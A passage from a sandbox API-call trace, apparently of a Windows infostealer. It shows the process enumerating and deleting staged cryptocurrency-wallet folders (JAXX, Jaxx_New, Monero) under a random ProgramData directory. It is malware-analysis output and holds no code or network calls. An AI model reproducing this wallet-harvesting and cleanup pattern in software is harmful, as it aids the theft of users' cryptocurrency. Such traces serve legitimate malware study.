lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\JAXX" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\JAXX") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\JAXX" [0102.332] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\JAXX", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\JAXX\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\JAXX\\" [0102.332] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\JAXX\\", lpString2=".." | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\JAXX\\..") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\JAXX\\.." [0102.333] lstrcpyW (in: lpString1=0x19e07c, lpString2="\\Wallets\\JAXX" | out: lpString1="\\Wallets\\JAXX") returned="\\Wallets\\JAXX" [0102.333] lstrcatW (in: lpString1="\\Wallets\\JAXX", lpString2="\\" | out: lpString1="\\Wallets\\JAXX\\") returned="\\Wallets\\JAXX\\" [0102.333] lstrcatW (in: lpString1="\\Wallets\\JAXX\\", lpString2=".." | out: lpString1="\\Wallets\\JAXX\\..") returned="\\Wallets\\JAXX\\.." [0102.333] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0102.333] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0102.333] FindNextFileW (in: hFindFile=0x6d15d8, lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x341c1522, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x341c1522, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x341c1522, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0102.333] FindClose (in: hFindFile=0x6d15d8 | out: hFindFile=0x6d15d8) returned 1 [0102.333] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x3430048 [0102.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\JAXX", cchWideChar=60, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 60 [0102.333] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x3c) returned 0x2112a98 [0102.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\JAXX", cchWideChar=60, lpMultiByteStr=0x2112a98, cbMultiByte=60, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\JAXX", lpUsedDefaultChar=0x0) returned 60 [0102.333] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112e40 [0102.333] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112a98 | out: hHeap=0x2110000) returned 1 [0102.333] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0102.333] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ee2c, cbMultiByte=4, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0102.333] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x8) returned 0x2116808 [0102.333] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ee2c, cbMultiByte=4, lpWideCharStr=0x2116808, cchWideChar=4 | out: lpWideCharStr="*.*") returned 4 [0102.333] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116808 | out: hHeap=0x2110000) returned 1 [0102.333] PathMatchSpecW (pszFile="JAXX", pszSpec="*.*") returned 1 [0102.333] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x3430048 [0102.333] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430420 [0102.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\JAXX", cchWideChar=60, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 60 [0102.333] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x3c) returned 0x2112858 [0102.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\JAXX", cchWideChar=60, lpMultiByteStr=0x2112858, cbMultiByte=60, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\JAXX", lpUsedDefaultChar=0x0) returned 60 [0102.334] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112e88 [0102.334] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112858 | out: hHeap=0x2110000) returned 1 [0102.334] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Wallets\\JAXX", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0102.334] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xe) returned 0x2113018 [0102.334] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Wallets\\JAXX", cchWideChar=14, lpMultiByteStr=0x2113018, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\Wallets\\JAXX", lpUsedDefaultChar=0x0) returned 14 [0102.334] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113018 | out: hHeap=0x2110000) returned 1 [0102.334] CreateFileA (lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\JAXX" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\wallets\\jaxx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0102.334] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112e88 | out: hHeap=0x2110000) returned 1 [0102.334] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430420 | out: hHeap=0x2110000) returned 1 [0102.334] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0102.334] DeleteFileW (lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\JAXX" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\wallets\\jaxx")) returned 0 [0102.334] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112e40 | out: hHeap=0x2110000) returned 1 [0102.334] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x341c1522, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x341c1522, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x341c1522, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Jaxx_New", cAlternateFileName="")) returned 1 [0102.335] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets" [0102.335] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\" [0102.335] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\", lpString2="Jaxx_New" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Jaxx_New") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Jaxx_New" [0102.335] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\Wallets" | out: lpString1="\\Wallets") returned="\\Wallets" [0102.335] lstrcatW (in: lpString1="\\Wallets", lpString2="\\" | out: lpString1="\\Wallets\\") returned="\\Wallets\\" [0102.335] lstrcatW (in: lpString1="\\Wallets\\", lpString2="Jaxx_New" | out: lpString1="\\Wallets\\Jaxx_New") returned="\\Wallets\\Jaxx_New" [0102.335] lstrcmpW (lpString1="Jaxx_New", lpString2=".") returned 1 [0102.335] lstrcmpW (lpString1="Jaxx_New", lpString2="..") returned 1 [0102.335] lstrcpyW (in: lpString1=0x19e284, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Jaxx_New" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Jaxx_New") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Jaxx_New" [0102.335] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Jaxx_New", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Jaxx_New\\*.*") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Jaxx_New\\*.*" [0102.335] FindFirstFileW (in: lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Jaxx_New\\*.*", lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x341c1522, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x341c1522, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x341c1522, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d13d8 [0102.335] lstrcpyW (in: lpString1=0x19de74, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Jaxx_New" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Jaxx_New") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Jaxx_New" [0102.335] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Jaxx_New", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Jaxx_New\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Jaxx_New\\" [0102.335] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Jaxx_New\\", lpString2="." | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Jaxx_New\\.") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Jaxx_New\\." [0102.335] lstrcpyW (in: lpString1=0x19e07c, lpString2="\\Wallets\\Jaxx_New" | out: lpString1="\\Wallets\\Jaxx_New") returned="\\Wallets\\Jaxx_New" [0102.335] lstrcatW (in: lpString1="\\Wallets\\Jaxx_New", lpString2="\\" | out: lpString1="\\Wallets\\Jaxx_New\\") returned="\\Wallets\\Jaxx_New\\" [0102.335] lstrcatW (in: lpString1="\\Wallets\\Jaxx_New\\", lpString2="." | out: lpString1="\\Wallets\\Jaxx_New\\.") returned="\\Wallets\\Jaxx_New\\." [0102.335] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0102.335] FindNextFileW (in: hFindFile=0x6d13d8, lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x341c1522, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x341c1522, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x341c1522, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.335] lstrcpyW (in: lpString1=0x19de74, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Jaxx_New" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Jaxx_New") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Jaxx_New" [0102.335] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Jaxx_New", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Jaxx_New\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Jaxx_New\\" [0102.336] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Jaxx_New\\", lpString2=".." | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Jaxx_New\\..") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Jaxx_New\\.." [0102.336] lstrcpyW (in: lpString1=0x19e07c, lpString2="\\Wallets\\Jaxx_New" | out: lpString1="\\Wallets\\Jaxx_New") returned="\\Wallets\\Jaxx_New" [0102.336] lstrcatW (in: lpString1="\\Wallets\\Jaxx_New", lpString2="\\" | out: lpString1="\\Wallets\\Jaxx_New\\") returned="\\Wallets\\Jaxx_New\\" [0102.336] lstrcatW (in: lpString1="\\Wallets\\Jaxx_New\\", lpString2=".." | out: lpString1="\\Wallets\\Jaxx_New\\..") returned="\\Wallets\\Jaxx_New\\.." [0102.336] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0102.336] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0102.336] FindNextFileW (in: hFindFile=0x6d13d8, lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x341c1522, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x341c1522, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x341c1522, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0102.336] FindClose (in: hFindFile=0x6d13d8 | out: hFindFile=0x6d13d8) returned 1 [0102.336] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x3430048 [0102.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Jaxx_New", cchWideChar=64, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0102.336] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x21128e8 [0102.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Jaxx_New", cchWideChar=64, lpMultiByteStr=0x21128e8, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Jaxx_New", lpUsedDefaultChar=0x0) returned 64 [0102.336] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112b70 [0102.336] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21128e8 | out: hHeap=0x2110000) returned 1 [0102.336] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0102.336] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ee2c, cbMultiByte=4, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0102.336] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x8) returned 0x2116938 [0102.336] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ee2c, cbMultiByte=4, lpWideCharStr=0x2116938, cchWideChar=4 | out: lpWideCharStr="*.*") returned 4 [0102.336] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116938 | out: hHeap=0x2110000) returned 1 [0102.336] PathMatchSpecW (pszFile="Jaxx_New", pszSpec="*.*") returned 1 [0102.336] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x3430048 [0102.336] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x34300d0 [0102.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Jaxx_New", cchWideChar=64, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0102.337] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112978 [0102.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Jaxx_New", cchWideChar=64, lpMultiByteStr=0x2112978, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Jaxx_New", lpUsedDefaultChar=0x0) returned 64 [0102.337] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x21128a0 [0102.337] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112978 | out: hHeap=0x2110000) returned 1 [0102.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Wallets\\Jaxx_New", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0102.337] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x12) returned 0x3430e80 [0102.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Wallets\\Jaxx_New", cchWideChar=18, lpMultiByteStr=0x3430e80, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\Wallets\\Jaxx_New", lpUsedDefaultChar=0x0) returned 18 [0102.337] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34306a0 [0102.337] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430e80 | out: hHeap=0x2110000) returned 1 [0102.337] CreateFileA (lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Jaxx_New" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\wallets\\jaxx_new"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0102.337] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34306a0 | out: hHeap=0x2110000) returned 1 [0102.337] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21128a0 | out: hHeap=0x2110000) returned 1 [0102.337] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0102.337] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0102.337] DeleteFileW (lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Jaxx_New" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\wallets\\jaxx_new")) returned 0 [0102.337] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112b70 | out: hHeap=0x2110000) returned 1 [0102.337] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x341c4fce, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x341c4fce, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x341c4fce, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Monero", cAlternateFileName="")) returned 1 [0102.337] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets" [0102.337] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\" [0102.337] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\", lpString2="Monero" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Monero") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Monero" [0102.337] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\Wallets" | out: lpString1="\\Wallets") returned="\\Wallets" [0102.338] lstrcatW (in: lpString1="\\Wallets", lpString2="\\" | out: lpString1="\\Wallets\\") returned="\\Wallets\\" [0102.338] lstrcatW (in: lpString1="\\Wallets\\", lpString2="Monero" | out: lpString1="\\Wallets\\Monero") returned="\\Wallets\\Monero" [0102.338] lstrcmpW (lpString1="Monero", lpString2=".") returned 1 [0102.338] lstrcmpW (lpString1="Monero", lpString2="..") returned 1 [0102.338] lstrcpyW (in: lpString1=0x19e284, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Monero" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Monero") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Monero" [0102.338] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Monero", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Monero\\*.*") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Monero\\*.*" [0102.338] FindFirstFileW (in: lpFileName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Monero\\*.*", lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x341c4fce, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x341c4fce, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x341c4fce, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d15d8 [0102.338] lstrcpyW (in: lpString1=0x19de74, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Monero" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Monero") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Monero" [0102.338] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Monero", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Monero\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Monero\\" [0102.338] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Monero\\", lpString2="." | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Monero\\.") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Monero\\." [0102.338] lstrcpyW (in: lpString1=0x19e07c, lpString2="\\Wallets\\Monero" | out: lpString1="\\Wallets\\Monero") returned="\\Wallets\\Monero" [0102.338] lstrcatW (in: lpString1="\\Wallets\\Monero", lpString2="\\" | out: lpString1="\\Wallets\\Monero\\") returned="\\Wallets\\Monero\\" [0102.338] lstrcatW (in: lpString1="\\Wallets\\Monero\\", lpString2="." | out: lpString1="\\Wallets\\Monero\\.") returned="\\Wallets\\Monero\\." [0102.338] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0102.338] FindNextFileW (in: hFindFile=0x6d15d8, lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x341c4fce, ftCreationTime.dwHighDateTime=0x1d7b3bd, ftLastAccessTime.dwLowDateTime=0x341c4fce, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x341c4fce, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.338] lstrcpyW (in: lpString1=0x19de74, lpString2="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Monero" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Monero") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Monero" [0102.338] lstrcatW (in: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Monero", lpString2="\\" | out: lpString1="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Monero\\") returned="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets\\Monero\\" [0102.338] lstrcatW (in: 